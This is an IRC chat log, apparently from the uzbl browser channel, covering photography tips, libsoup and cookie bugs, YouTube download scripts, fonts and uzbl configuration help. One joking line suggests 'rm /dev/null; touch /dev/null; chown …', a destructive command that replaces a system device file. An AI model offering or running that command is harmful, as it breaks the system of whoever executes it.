14:35 < DuClare> Me too, but I dedicated some time to it and improved a lot ..
14:35 < Dieterbe> use a tripod :)
14:35 < rob|> yeah, tripod
14:35 < ruskie> even with built in stabilizer I tend to manage to mess it up
14:36 < rob|> i use a tripod virtually all of the time
14:36 < ruskie> yeah... dragging that along is annoying but I guess really the best option
14:36 < DuClare> Some cameras have a problem with the trigger; it's too tight or placed so that it's hard to press without shaking the camera
14:36 < DuClare> If that's the case, use a short timer
14:36 < DuClare> 2 seconds or so
14:36 < DuClare> So you can press, stabilize, and let the camera shoot. :]
14:36 < rob|> use a remote trigger
14:36 < rob|> that's by far the best option
14:36 < DuClare> If you're using a tripod, sure
14:37 < rob|> together with mirror unlocking
14:37 < ruskie> soft trigger so that's not a prob
14:37  * DuClare wants a better camera. :<
14:37 < ruskie> though yeah not using the LCD but the viewfinder helps a LOT
14:38 < N30N> ooh nice photos :)
14:38 < rob|> i take the photos with an EOS 400D, so nothing really fancy
14:38 < ruskie> of course taking the same frame that way is a bit hard though
14:38 < DuClare> http://en.wikipedia.org/wiki/DMC-FZ7
14:38 < DuClare> ^ is what I've got
14:38 < ruskie> rob|, and suggestion on the exposure times in general for such HDR work?
14:40 < rob|> ruskie: well that really depends on the light. i use the camera in "AV" mode adjust the aperture and leave the exposure time up to the camera
14:40 < ruskie> will have to play with that I guess
14:40 < rob|> oh and i take 2 pictures: one with the default exposure time and one with -2 and +2
14:41 < DuClare> Meh, my auto bracket can only do +-1 at most
14:41 < ruskie> hmm need to check mine
14:42 < rob|> erm, 3 pictures
14:42 < rob|> ^^
14:44 < ruskie> hmm might be +-3
14:47 < rob|> oh, that's ideal for HDR
14:47 < ruskie> btw what did you use to get the final result?
14:47 < rob|> though, you could although just save the images in RAW format and build the HDR from that single picture
14:47 < ruskie> I tend to do raw+jpeg
14:47 < rob|> ah, i see
14:48 < ruskie> but I didn't have much luck with raw post processing really
14:48 < ruskie> I tried a HDR like that once
14:48 < ruskie> the result was interesting but I guess the initial stuff was a bit lacking
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14:51 < rob|> well, i do use photomatix (win only unfortunatelly) for the HDR generation and gimp/photoshop for the post processing
14:52 < ruskie> hmm I guess I'll stick to fotoxx then until I find something better
14:52 < ruskie> did you do a lot of post processing on the first one?
14:53 < rob|> well, i adjusted the black/white levels of some colors and ran a sharpening mask over the pic (i do that for almost every pic, though)
14:54 < ruskie> hmm I'll have to play with the stuff
14:54 < ruskie> now off home...
15:07 < mason-l> "<ruskie> just shaky hands" You'd make a bad electrician :D
15:17 < Sekenre> Raised a bug: http://www.uzbl.org/bugs/index.php?do=details&task_id=65&project=1
15:18 < Sekenre> I should also mention that flyspray fails to send me a password so I can't log in
15:18 < Sekenre> oops no, it's just really slow :)
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15:22 < scj> I don't seem to have any trouble with the useragent string from the example config. what version of libsoup?
15:22 < holizz> Flyspray is the worst bug tracking system ever.
15:23 < Sekenre> libsoup 2.26.3-1
15:24 < scj> I'm using 2.27.2. try updating and see what happens
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15:43 < Sekenre> scj: I have updated libsoup to the latest svn version and it fails with the same messages
15:45 < scj> Sekenre: what does pkg-config --modversion libsoup-2.4 say?
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15:48 < scj> the libsoup-svn pkg claims to provide libsoup=2.26.1
15:49 < scj> I just got the pkgbuild from abs and changed the pkgver (and the "26" in the sources field)
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15:51 < Sekenre> scj: cool, do I need to try rebuilding it
15:51 < Sekenre> ?
15:52 < scj> Sekenre: probably
15:53 < Sekenre> righto
15:55 < scj> Sekenre: looks like all gnome svn packages are deprecated since they've moved to git
15:56 < Sekenre> lovely, so I'd need to manually create a new pkgbuild for it?
15:58 < scj> nah mang, just use abs. or use mine http://omploader.org/vMXh6dQ
16:00 < uranther> that's cool how easy it is to do that in Arch
16:01 < Sekenre> scj: cool, I missed the sources field the first time
16:04 < Sekenre> yaourt -Sb libsoup FTW!
16:05 < Sekenre> scj: it still doesn't work though :(
16:05 < scj> ok :/ are you using x86_64?
16:06 < Sekenre> nope, i686
16:06 < Sekenre>  pkg-config --modversion libsoup-2.4
16:06 < Sekenre> 2.27.2
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16:08 < scj> ok, I'm out of ideas and I can't reproduce it
16:08 < Sekenre> I can't reproduce it in any other browser either :(
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16:10 < Sekenre> anyway, if I change the user-agent string it works fine
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16:20 < ruskie> mason-l, not really other than I dislike to mess with 220V :) I do electronics here and there but that's easy to do with some helping hands and so on ;)
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16:22  * mason-l was working on a 13,800 volt transformer last week :)
16:27 < ruskie> :)
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16:30 < Sekenre> scj: I've updated flyspray with my latest findings.
16:30 < Sekenre> I think it's related to config file parsing
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17:03 < scj> bct: just tried clive and I got it to work like youtube-dl; mplayer $(clive -en $url | grep csv | cut -d , -f 2 | tr -d \")
17:06 < ruskie> yaydl probably works the same :)
17:08 < bct> excellent, thanks for sharing that.
17:09 < bct> and man, how many youtube scrapers does the world need?
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17:09 < Dieterbe> 261
17:10 < Dieterbe> 78 if you don't count the ones we already have
17:11 < scj> thing is, they are all doing it wrong. scraping the site doesn't always work and they should use a actionscript parser to figure out what the flv's url the swf calls
17:13 < bct> that's a pretty good idea, actually. such a scraper could work for pretty much any site.
17:13 < Dieterbe> is this still revelant? with html5, <video> and all
17:14 < Dieterbe> relevant*
17:14 < scj> that's still years away
17:15 < holizz> I don't think YouTube will use that unless they really have to. They don't want people to download their videos.
17:15 < bct> and flv is still going to be around for at least as long as IE doesn't support <video>.
17:15 < Dieterbe> right
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17:33 < DuClare> youtube-dl and clive are bloated
17:37 < bct> maybe so, but they do what they claim to and any bloat doesn't really affect me as a user.
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17:49 < ruskie> DuClare, tried yaydl?
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17:52 < DuClare> ruskie: Tried http://morecp.net/~nsz/y/yplay.sh ?
17:53 < DuClare> Or http://morecp.net/nsz/y/yget.sh
17:53 < DuClare> Or http://morecp.net/nsz/y/yget_no_pl.sh
17:54 < ruskie> omg
17:54 < ruskie> erm the last two are 404
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17:54 < DuClare> Whoops, should be ~nsz
17:55 < ruskie> nice
17:55 < ruskie> I like it
17:55 < DuClare> Less bloat. :]
17:55 < DuClare> Though it doesn't really cover other sites ..
17:55 < DuClare> But shouldn't be too hard to adapt if you get the idea :>
17:56 < Sekenre> DuClare: pretty cool#
17:56 < ruskie> and here I was wondering where I colud find a shell one
17:57 < ruskie> thanks
17:58 < ruskie> will need to figure it out for some other sites as well
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18:08 < scj> vala looks kinda neat
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18:10 < dxdx> scj: but you are forced to use GObject everywhere, no thanks
18:11 < scj> well, at least it's not c++
18:11 < dxdx> yeah, right
18:19 < aCiD2> Hey, anyone else get a segfault at http://etf2l.org/about/matches/?
18:19 < aCiD2> I get it if I click "More Matches" on the right sidebar, but not if I go directly to the url...
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18:20 < aCiD2> seems to segfault at JSC::RegExp::match () from /usr/lib/libwebkit-1.0.so.2 with " undefined @0: Syntax error, unrecognized expression: [@href*=http://etf2l.org]"
18:21 < N30N> aCiD2: are you running x86_64?
18:21  * N30N couldn't see the "More Matches" link
18:22 < aCiD2> "More results" sorry
18:22 < aCiD2> And yea, I think I'm on x86_64
18:22 < N30N> works fine, for me
18:22 < aCiD2> which uzbl version?
18:22 < N30N> aCiD2: u need to recompile libwebkit with gcc 4.3
18:22 < N30N> I used to have that problem
18:23 < aCiD2> i see
18:23 < scj> can't resolve etf21.org
18:24 < aCiD2> etf2l, not 21
18:25 < ruskie> get a decent monospace font already ;)
18:26 < N30N> xD
18:26 < scj> I'm using terminus vOv
18:26 < ruskie> I'm using Aerial Mono
18:27 < ruskie> Ili1| <-- and can easily spot the difference between these
18:28 < scj> I don't think the font is to blame for the fact that etf2l is a shitty domain name
18:28 < ruskie> lol
18:29 < DuClare> DejaVu Sans Mono
18:30 < N30N> ^^ same
18:30 < DuClare> The only decent free font I've found so far .. :|
18:30 < DuClare> I'm getting kinda bored of it though.
18:30 < ruskie> DuClare, take a look at Aerial Mono
18:30 < N30N> dina is nice too
18:31 < ruskie> I find it pleasant to read
18:31 < ruskie> ttf-arkpandora <-- that's from whete it comes... also includes Aerial, Tymes and Veranda
18:32 < DuClare> Meh, can I preview somewhere?
18:32 < ruskie> http://www.users.bigpond.net.au/gavindi/
18:32 < ruskie> try there
18:33 < DuClare> eTried already..
18:33 < N30N> can see dina here http://www.donationcoder.com/Software/Jibz/Dina/
18:36 < aCiD2> Oh yea, and whoever mentioned "sup" yesterday
18:36 < aCiD2> I love you.
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18:37 < bct> that good, eh?
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18:42 < scj> I kinda like inconsolata too
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19:20 < dxdx> you know, some day we could isolate that regexp that is causing the segfault and report the bug
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19:20 < Dieterbe> mason-l, holizz . box at home: 2613 /home/dieter/.local/share/uzbl/history
19:20 < N30N> dxdx: there's already a report
19:21 < dxdx> N30N: in their bugzilla? link pl0s
19:22 < holizz> Dieterbe, Box at home?
19:23 < N30N> https://bugs.webkit.org/show_bug.cgi?id=26390
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19:23 < Dieterbe> holizz: yes. remember the wc -l from this morning? i did it on my laptop at work, now on my box at home
19:24 < holizz> Oh.
19:25 < holizz> 10020 .local/share/uzbl/history
19:25 < holizz> I win. But I think mason-l beats me.
19:26 < ruskie> lol
19:26 < ruskie> .local/share/uzbl/history: No such file or directory
19:26 < ruskie> :)
19:26 < ruskie> all history belongs to /dev/null
19:31 < holizz> rm /dev/null; touch /dev/null; chown ruskie:users /dev/null
19:31 < rob|> or to /dev/shm with a backup/restore script on shutdown/bootup
19:31 < ruskie> no thanks
19:31 < ruskie> I don't want my history stored ;)
19:32 < ruskie> only history I want is command history and even that non-persistent
19:36 < rob|> yep, i want command history, too
19:37 < rob|> should we add a command_handler?
19:38 < ruskie> probably the best way to be able to handle everyones preferences
19:38 < rob|> so everytime a valid command is being matched the command handler will be invoked
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20:21 < scj> shouldn't bind _ = spawn cmd_history.sh %s work? except the fact that it doesnt
20:22 < N30N> spawn cmd's need quotes (not sure about the %s)
20:23 < scj> no they don't
20:23 < N30N> oh?
20:23 < scj> only if you spaces in the path
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21:46 < holizz> I need to apply for a job, but I just keep thinking of things to do in uzbl. And then I just end up checking Twitter instead so I get nothing done.
21:48 < ruskie> lol
21:48 < Bram> procrastination, procrastination ...
21:48 < ruskie> I need to get a more interesting job sometime
21:48 < ruskie> being bored each day isn't fun
21:48  * ruskie goes to sleep
21:49 < holizz> ruskie, What do you do?
21:53 < ruskie> sysadmin
21:53 < ruskie> anyway sleep
21:53 < holizz> Have fun sleeping.
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21:55 < holizz> "Firefox to get multiprocess browsing" (/.). Pfft. Uzbl had that from the start.
21:58 < teop> holizz: they mean more like google-chrome
21:59 < holizz> teop, Really? Well, we had something like that ever since uzbl_tabbed.
22:00 < teop> yeah, now we have
22:00 < holizz> And we've had uzbl_tabbed for a month less a day.
22:01 < teop> still I have to figure out, why cookies doest work for gmail, and it will be all I need
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22:01 < teop> holizz: chrome was released at winter
22:01 < holizz> Which script are you using?
22:02 < teop> python version
22:03 < teop> it works on all google-services exept gmail
22:03 < holizz> Haha. Yes. That doesn't quite work for Gmail.
22:04 < holizz> I wrote that. It uses the cookielib from Python's stdlib. That library behaves weird sometimes.
22:04 < holizz> I just use the Ruby cookie handler. Because it works.
22:04 < teop> oh, I will try it
22:05 < holizz> You see I thought I'd try going the more library less effort route, and see what comes out? Something that doesn't work!
22:05 < bct> hehe
22:05 < bct> python's stdlib is very erratic.
22:06 < bct> holizz, are there any features that you're missing from cookies.rb?
22:06 < teop> I heard, perl have all batteries, but still I dont really like perl
22:06 < holizz> Especially with the naming conventions ... or lack thereof.
22:09 < holizz> bct, The only way the Python version is better is that you could easily add some code to control which cookies are accepted and which are rejected (through a class which implements the cookie policy). But I can't be bothered setting rules for accepting/rejecting, so no, there's nothing I really need the cookies.rb to do.
22:09 < bct> ok.
22:10 < bct> i've got third-party rejection support mostly working, but not quite.
22:11 < bct> uzbl.state.uri doesn't get updated until the page has finished loading.
22:11 < holizz> Ah yes, that problem.
22:11 < bct> so the cookie handler thinks the request domain is whatever page you were on before.
22:11 < bct> you've run into that too?
22:11 < holizz> #TODO: this is a hack, fix in uzbl.c!
22:12 < bct> aha, right.
22:12 < holizz> I only noticed it in the case where you type "o gmail.com", and then $6 is gmail.com rather than http://........
22:14 < bct> i haven't really looked into it yet.
22:14 < bct> i imagine redirects could cause problems too.
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22:19 < holizz> I don't think there's a bug about this. I might go create one.
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22:23 < Bram> holizz: are you still working on your python clone of uzbl ?
22:23 < holizz> Bram, Yep. Off and on.
22:24 < Bram> holizz: where are you now ?
22:26 < holizz> Bram, Well, the keycmd thing works almost exactly like uzbl's (and you can have multiple _s in a binding) except that it doesn't do * yet.
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22:28 < holizz> Bram, I could do with setting up cookies/history/download handlers next. History and download will be very easy. And I haven't gotten round to doing scrolling etc..
22:29 < holizz> The cool thing about the clone is that you can just bind the keycmds directly to WebKit functions.
22:29 < holizz> bind('+', pyweb.webview.zoom_in)
22:29 < Bram> pretty cool
22:30 < Bram> can you modify webkit right clic behavor ? this could be cool to
22:31 < holizz> I don't know how to do that, but yeah it would be trivial to do that straight from the config file as it's just a Python script.
22:32 < holizz> Whereas uzbl may need its config syntax updating to be able to handle a list of actions.
22:32 < Bram> it's the price for a simple config file
22:33 < Bram> you're browser remind me dwm in some king "it's only 2k lines of C, if you want to change the config hack it yourself"
22:33 < holizz> Yeah, this is why I want uzbl to have a JavaScript config.
22:34 < holizz> Indeed, I was somewhat inspired by awesome, which has a config file written in Lua, and without the config file it has almost no defaults set. The config is part of the application itself.
22:38 < holizz> bct, I tried adding a notify::uri signal handler... but that gets called after the cookies are PUT/SET. :(
22:39 < Bram> oh I've just try awesome yesterday but I was to lazy to learn lua after 2-3 crash (seems to come from last linux version & nvidia)
22:39 < Bram> is there a way to make awesome behave like vim ? this would be trully awesome :p
22:41 < holizz> "Learn" is a relative term. I once used Haskell for an assignment, but I didn't learn it. I just started writing and looked at documentation whenever I didn't know how to do something (i.e. all the time).
22:42 < holizz> Bram, I don't know if awesome does modal... but it's very hackable so it's probably possible.
22:47 < Bram>  hum, I'll a take a look
22:47  * Bram dream of a tiling wm behaving like vim
22:52 < holizz> Editing the URI is proving a tricky problem in my clone. If only Python had throw/catch.
22:53 < Phillemann> How are exceptions handled in Python, then? o_O
22:54 < holizz> Phillemann, I'm talking about Ruby's throw/catch, which is completely independant of exception which is raise/except IIRC.
22:54 < Bram> holizz: hu ? raise/expect ? or maybe I've misunderstand you
22:55 < bct> i've never actually used throw/catch in ruby, how do they differ from exceptions?
22:56 < holizz> It's interesting. They act a lot like exceptions, except they're used in loops and such when you want to escape back to where you were.
22:56 < holizz> catch :foo
22:56 < holizz>   for a in b
22:57 < holizz> The perils of trying to write examples in IRC...
22:57 < holizz> catch :foo
22:57 < holizz>   for a in b
22:57 < holizz>     value = a
22:57 < holizz>     throw :foo if somefunction(value)
22:57 < holizz>   end
22:58 < holizz> end
22:58 < holizz> Bad example, because you could easily do that another way. And I don't use it much, but when I do it's really useful.
22:58 < bct> ah, like for breaking out of multiple loops?
22:59 < holizz> Yup.
23:00 < Phillemann> That's a nice way to handle it. C and C++ don't have any real mechanism to do that and PHP just as "break 2;"
23:00 < holizz> As far as I can tell it's pretty much identical to exceptions except for how it's used.
23:00 < Phillemann> s/as/has/
23:00 < holizz> C, C++, and PHP have goto ;)
23:00 < Phillemann> Yes...but it's no "real" mechanism, especially in C++.
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23:09 < holizz> I really could do with catch/throw. But since it's Python I have three options: abuse the semantics of an existing exception (evil), add the exception to pyweb.py and pass the class to pywebrc.init() (slightly dirty), or have pywebrc import pyweb (which would require it being in PYTHONPATH - which would probably mean packaging it properly).
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23:49 < bjoernfan> "Bj&#246;rn Pettersson's subscription status, password, and options for the uzbl-dev mailing list.". Lovely. :P
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23:55 < holizz> That's a nice bug. Mailman, is it?
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00:02 < bct> i wish somebody would write a replacement for whatever that archive software is
00:03 < bct> that doesn't mess up threads when they get nested really deep.
00:08 < bct> anybody have opinions on unit testing libraries for C++?
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00:49 < holizz> http://pastie.org/539369 Stupid? Evil? Is there a better way to do it?
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00:57 < holizz> http://github.com/holizz/pyweb <-- I finally added my pywebrc, which is where the action is at
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01:12 < holizz> Night all.
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01:32 < bct> rob|: you around?
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01:49 < bct> rob|_: you around?
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07:15 < ruskie> good morrow all
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08:46 < ruskie> http://www.theregister.co.uk/2009/07/08/html_5_media_spec/ <-- was there ever any doubt
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08:57 < ruskie> http://www.theregister.co.uk/2009/07/09/dzuiba_google_chrome_redux/ <-- :))
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09:03 < Dieterbe> mmzmmz
09:03 < Dieterbe> morn.zzzz
09:07 < stevan> hi, i posted the thing regarding fuse and openbsd to the list yesterday, but as i wasn't on the list, it said the message needed to be approved by the admin first. no hurry, just a reminder. :-)
09:08 < Dieterbe> hmm doesn't it say somewhere you need to register before you can send?
09:11 < stevan> not that i can see from a glance.
09:11 < Dieterbe> ah shit, then i have to fix that
09:11 < Dieterbe> but i will approve your post at some point
09:11 < Dieterbe> don't worry about that
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09:13 < stevan> perhaps you should turn off that feature alltogether, so that messages don't stack up there? i guess replying thru gmane works without being on the list, but i didn't think of that when i sent the message yesterday.
09:13 < Dieterbe> well i don't want spam, that's why one has to register first
09:14 < Negher> Morning everybody.
09:16 < Dieterbe> scj: heh, your pizza reminder script is pretty cool
09:17 < stevan> i meant the feature that users who are not on the list have to get their email approved by the admin, i'd suspect on can make it so that people not on the list just get "sorry, register first or post thru gmane"?
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09:17 < scj> it is pretty handy :>
09:18 < Dieterbe> scj: i didn't know you could use suffixes like 'm' to sleep
09:18 < ruskie> I think I set gmane to not allow posting other than list members
09:19 < scj> neither did I, at first I did some arithmetic to calculate the minutes but then I looked in man sleep
09:19 < ruskie> non-public <-- yeah means you need to be registered to post even through gmane
09:20 < ruskie> Dieterbe, btw checked the updated patch yet?
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09:21 < Dieterbe> ruskie: no
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09:26 < stevan> i think its pretty spam safe to allow gmane posts by non members; they got both a captcha and a confirmation email.
09:28 < Dieterbe> i was talking about our list itself, not about the gmane stuff
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09:35 < rob|> morning gentlemen.
09:35 < ruskie> lo
09:37 < Dieterbe> hi mister R
09:46 < rob|> hmm, i'll probably be without internet access from next wendsday on for a week or so
09:47 < rob|> so keep the logs alive ;)
09:49 < Dieterbe> roger that
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09:52 < Rodya> How would I get started mimmicking the functionality of the Down them All addon for firefox with uzbl? I was thinking I might have to use some javascript to get the list of links on a page, and then I could maybe pass them to a bash script which would let the user filter with regex via grep or sed or awk etc... Any ideas?
09:52 < Cheeseum> what you just described sounds pretty spot on
09:52 < Rodya> I've been looking and haven't seen an easier way yet, but this seems a bit convaluded
09:53 < Rodya> Oh, Cheeseum, uzbl on my laptop has the same unicode problem you were talking about the other day... I've been playing with it to see what I can do which fixes it
09:54 < rob|> Rodya: that would certainly work, this script on the wiki does something similar with images on a site http://www.uzbl.org/wiki/view-site-images  - might be of some help
09:54 < Rodya> rob|, thanks
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09:59 < rob|> Rodya: does downthemall uses some heuristics to differentiate between "real" download links and links to html sites?
10:00 < Rodya> rob|, it prompts the user to select which URLs to download or uses a preset filter
10:00 < rob|> ah, i see
10:01 < Rodya> rob|, http://imgur.com/7WNVZ.jpg screenshot of it
10:01 < rob|> both should be easily possible with a modified version of the above script. in order to present a selectable list you could easily use dmenu-vertical or zenity from the script
10:02 < Rodya> I'll probably just set it up so that the filter part would be passed like: bind download _ = downloader %s
10:02 < Rodya> i've never been a fan of the dialog, personally lol
10:03 < Dieterbe> Rodya: the problem with grep/sed is that you cannot modify the regex and see the changed results in realtime.  with a tool such as dmenu-vertical you can filter the list in realtime. but it doesn't support regexes or inverted matching. and i'm also not sure if you can tell it to output all matched results
10:04 < Dieterbe> but on the long term, modifying dmenu-vertical to allow such things seems like a good solution to me
10:04 < Dieterbe> you might also be able to do something like this with zenity but i'm not sure
10:05 < Rodya> Well, down them all has support for preset things via right click menu and for using the above dialog box, so what I write could do both as well (using a hotkey for a preset filter and a different one for the "dialog")
10:06 < Dieterbe> still, the dialog method doesn't seem userfriendly to me
10:06 < Dieterbe> if that dialog gives you a shell in which you must use grep/sed to filter the list
10:10 < Rodya> zenity is actually pretty cool
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10:14 < Rodya> zenity's list dialog lets you setup a checklist, which isn't ideal, but might work
10:16 < ruskie> hmm how about gtk-server ?
10:16 < ruskie> that might let you do a lot more?
10:16 < Rodya> it won't let you edit a regex in real time, but I can let you filter them based on a regex to begin with and then uncheck/check boxes that are incorrect
10:18 < Rodya> ruskie, perhaps, but then it adds another dependency
10:21 < ruskie> so does zenity ;)
10:21 < rob|> well, you could also present the list as html in a new uzbl :)
10:21 < ruskie> or dmenu-vertical or any othe UI you use
10:21 < Rodya> aye, but at least its already on the the lest of optional dependencies >.>
10:22 < Rodya> rob|, that's also an interesting idea... using hotkeys you could even edit the list in "real time"
10:22 < rob|> yeah
10:26 < errno> is there a setting to get rid of the mouseover popup thing?
10:30 < ruskie> mouseover popup???
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10:30 < ruskie> you mean tooltip?
10:30 < errno> yes, tooltip i guess
10:31 < errno> not very useful 99.9% of time
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10:46 < rob|> pushed:  Added '-geometry' option and 'geometry' variable, format: WxH+-X+-Y
10:48 < Dieterbe> how did you do it? does gtk provide thingies for this?
10:48 < rob|> yes, gtk_window_parse_geometry()
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10:55 < ruskie> yay
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11:05 < Rodya> mwahahahaha, i can get all the links on a page now >:D
11:07 < krayon> It's amazing ... I just found a browser that's not only bearable ... but is actually good :D
11:08 < holizz> krayon, Let me guess... Internet Explorer?
11:08 < krayon> holizz: Oh if only I ran Windows :/
11:09 < ruskie> :)
11:12 < Rodya> you can run it in wine
11:12 < Rodya> also, its disturbing how much information javascript has access to o_O
11:12 < Rodya> and i've just skimmed the surface
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11:26 < Dieterbe> krayon: which browser are you talking about?
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11:27 < krayon> Dieterbe: Ah, uzbl :)
11:27 < Dieterbe> hmmm is it any good? maybe i should try it someday
11:28 < DuClare> Dieterbe: Don't bother
11:28 < DuClare> I hear it is written by some nerds in their basements
11:29 < Dieterbe> i heard it's bloated an full of bugs
11:29 < holizz> I heard it's written in sh and it's really slow.
11:30 < Dieterbe> or worse, in bash
11:32 < holizz> I heard that it's written by people who aren't even Certified .NET Developers.
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11:32 < DuClare> Man, they should use Java!  Everybody in the industry uses it, so why don't they do??
11:33 < DuClare> Well, I know why
11:33 < DuClare> They're too incompetent
11:35 < xci> holizz: :DDD
11:38 < Evanlec> hi
11:39 < Dieterbe> hideliho
11:39 < Evanlec> there's other languages besides Java? nonsense
11:40 < holizz> I think uzbl should be a Java applet.
11:40 < Evanlec> oh the pain
11:40 < holizz> I want to be able to run my Web browser in a Web browser!
11:40 < Evanlec> Dieterbe: i just downloaded uzbl 10 minutes ago, and now i'm fascinated ;p
11:41 < Evanlec> is there a config someone has that pretty much acts like vimperator?
11:41 < Dieterbe> no idea
11:41 < Evanlec> i mean, it says it emulates vi type commands but
11:42 < Evanlec> some seem missing when compared to vimp
11:42 < Rodya> you can add them yourself
11:42 < Evanlec> yea, i know ;p
11:42 < Rodya> and some things are there but use different key combinations than vimperator
11:42 < Evanlec> i just figured since the userbase for this is probably ex-vimperator users
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11:43 < Rodya> i'm actually using both side by side right now >.>
11:43 < Evanlec> who needs vimperator anymore?
11:43 < Rodya> already changed tab closing to 'd' and opening a tab with specific uri to t _
11:44 < krayon> hmmm
11:44 < Evanlec> Rodya: I thought uzbl couldnt do tabs?
11:44 < Rodya> facebook and a couple gmail things don't work in uzbl for me, so i have to use something still
11:44 < MichaelRaskin> I like Vim very much. I used vimperator for a day and removed it. But I migrated to uzbl. Go figure.
11:44 < Rodya> $XDG_DATA_DIR/uzbl/scripts/uzbl_tabbed.py
11:44 < krayon> I want an ActiveX control that's a Java VM that runs a browser written in Java
11:44 < Rodya> run that for tabs
11:44 < Rodya> details on configuring it are on the wiki and at the top of the file
11:44 < krayon> Evanlec: Fight the urge, use a tabbed wm
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11:45 < Evanlec> krayon: lol
11:45 < holizz> Rodya, Facebook's cookies work if you use cookies.rb.
11:45 < Rodya> aye, a tabbed wm with hotkeys for tab management setup would probably be more efficient and have less problems, i've just been too lazy to set that up
11:45 < Rodya> holizz, does it fix gmail too?
11:45 < rob|> so, the geometry variable is now being updated on configure-notify-events, too
11:46 < krayon> Rodya: atm I use fluxbox and am planning to patch it to support key grouping of tabs etc
11:46 < holizz> Rodya, Nope. Not sure what's wrong there.
11:46 < krayon> Rodya: It's limited to mouse grouping atm :(
11:47 < krayon> Rodya: you can still tab between them using keys etc but just not group
11:47 < Dieterbe> Evanlec> i mean, it says it emulates vi type commands but
11:47 < Rodya> krayon, i recently switched from fluxbox to openbox, no idea if it even supports tabs, lol... i do like it better than fluxbox so far though
11:47 < Dieterbe> whoa whoa whoa....
11:47 < Evanlec> Dieterbe: i meant, keybinds
11:47 < Dieterbe> Evanlec: we do not "emulate vi commands" or whatever
11:47 < Dieterbe> no, not keybinds either
11:47 < Rodya> holizz, i see, thanks =)
11:47 < krayon> Rodya: I went from OpenBox to PekWM to Flux
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11:47 < Dieterbe> Evanlec: the sample keybinds resemeble some of the vim keybinds, but that's it
11:47 < krayon> Open doesn't support tabs afaik
11:47 < Tjh_> can someone please help me use uzbl_tabbed
11:47 < Evanlec> Dieterbe: right
11:47 < Tjh_> i simply cannot
11:47 < krayon> and Flux can do all that Open can now
11:48 < Evanlec> Dieterbe: i understand that
11:48 < Dieterbe> Evanlec: it's not our goal to be "vim-like" or whatever
11:48 < Rodya> krayon, fluxbox just always seemed a bit buggy, where openbox isn't
11:48 < holizz> Tjh_, Have you installed uzbl yet? If uzbl isn't in your path, uzbl_tabbed.py can't run it.
11:49 < Evanlec> Dieterbe: right, but i think thats the direction most users will take it, being ex-vimperator users ;p
11:49 < krayon> Rodya: I see.  I haven't really had issues myself, in the last few years anyway.
11:49 < Rodya> krayon, i just had a few now and again, and it just finally irritated me enough to switch away lol
11:50 < krayon> Rodya: I hear that. Hence my looking for something other than FF.  I was sick of multiple crashes a day.
11:50 < Tjh_> holizz: yes uzbl is in my path ,however it complains about not being able to recognise the options in the config tht i put in for uzbl_tabbed.py
11:50 < krayon> Interestingly it was always when FF got to over 1gb memory usage :/
11:50 < Dieterbe> Evanlec: maybe.  there are a lot of people who don't like modes and prefer modkeys for everything though
11:50 < Tjh_> holizz: config options added from the website
11:51 < krayon> Well, thanks to all involved in uzbl dev.  I love you. Got a train to catch.  Good morrow. :)
11:51 < Evanlec> Dieterbe: the cool thing is that its all customizable ;)
11:51 < Rodya> krayon, i've not had m any firefox crashes... i guess i've just gotten used to avoiding causing it, but i've been looking for a browser like uzbl for 2 years now, i tried links in graphical mode for a while, but it, well, sucked, firefox et al just have too many features i don't care about
11:51 < krayon> Evanlec: You owe me now ;)
11:51 < Evanlec> krayon: indeed i do ;p
11:52 < Tjh_> anyoe?
11:52 < Tjh_> why does uzbl and uzbl_tabbed complain about not being able to recognise the options in config (such as bind_next_tab)
11:52 < krayon> Rodya: I too have been searching, and now I will be happy I think :)
11:52 < Tjh_> *anyone
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11:53 < Dieterbe> Evanlec: btw, if we say anywhere that we "emulate/implement/.. vi/vim-like keybindings" let me know where you saw that so i can finetune our phrasing
11:53 < Rodya> Tjh_, does that line look something like this?    set bind_next_tab=gt
11:53 < Rodya> (with whitespace between the = and the rest is fine too)
11:53 < Evanlec> Dieterbe: will do
11:55 < Tjh_> Rodya: no
11:55 < Rodya> Tjh_, do you just have bind_next_tab = gt ?
11:55 < Tjh_> it looks *exactly* like the line here: http://www.uzbl.org/wiki/uzbl_tabbed#configuration
11:55 < Rodya> you need the set in front of those
11:55 < Tjh_> Rodya: yes becasuse that is what it told me to do :(
11:56 < MichaelRaskin> I would continue using firefox if only Mozilla learned the concept of extension installed by default.
11:57 < Tjh_> o ok
11:57 < Rodya> MichaelRaskin, extension installed by default, meaning that they include addons?
11:57 < MichaelRaskin> They say "how can it be that defualt address bar is not awesome?"
11:58 < MichaelRaskin> OK, I am not against, but let me deinstall it.
11:58 < ruskie> I would continue using gecko if they actually bothered doing anything with it...
11:58 < Rodya> i've used other gecko based browsers, they all felt slow and bulky
11:58 < Rodya> not sure how much fault lies with gecko for that
11:59 < ruskie> I've used kazehakase for the last 4 or so years and it was always snappy fast etc...
12:00 < Rodya> never did try that one
12:00 < MichaelRaskin> They include Google content filtering. Let it be, but let me deinstall this garbage..
12:00 < MichaelRaskin> Gecko is progressing.
12:01 < Rodya> MichaelRaskin, I see what you mean now... They like to include a lot of features everyone may or may not want with no way to get rid of them, its why I've been looking for something else for so long
12:01 < Tjh_> aahh ok that solved it...lol
12:01 < Rodya> Tjh_, good =)
12:01 < Tjh_> ty
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12:01 < MichaelRaskin> Tjh_, not completely yet
12:02 < MichaelRaskin> I would love to kill 3/4 of FF built-in features _and_ install a few tens of addons in their place
12:02 < MichaelRaskin> Some of the features are still not available without FF..
12:02 < MichaelRaskin> I actually thought about using Prizm for ordinary browsing
12:03 < ruskie> to bad I still need firefox for online banking
12:03 < ruskie> or I might go with prizm for that even
12:03 < ruskie> if I can figure out how to get it working
12:03 < ruskie> probably wouldn't be a bad choice
12:04 < ruskie> only need that stuff for like 3-4 sites overall
12:04 < ruskie> client-side ssl certs that is
12:04 < Rodya> does uzbl not support that?
12:04 < ruskie> doesn't seem to
12:05 < ruskie> if it does it's not listed anywhere
12:06 < Evanlec> hmm, what would i bind to , to just open a prompt to type in a url?
12:07 < Rodya> why not just type it on the status bar?
12:07 < Evanlec> Rodya: how?
12:07 < Rodya> ie:   o www.google.com
12:07 < Evanlec> lol
12:07 < Rodya> the bind for that would be    bind    o _       = uri %s
12:07 < Evanlec> oh
12:07 < Rodya> iirc that one comes default
12:07 < Evanlec> aha
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12:17 < Evanlec> how would i bind Ctrl+d ?
12:18 < Rodya> not sure, actually
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12:20 < Tjh_> hi i have an issue, ubzl_tabbed, is using an old config that it invented for itself
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12:24 < Tjh_> hollo
12:24 < Tjh_> help
12:24 < holizz> What config is it using?
12:27 < Evanlec> how about mouse buttons? any way to bind those?
12:27 < Dieterbe> Evanlec: not yet
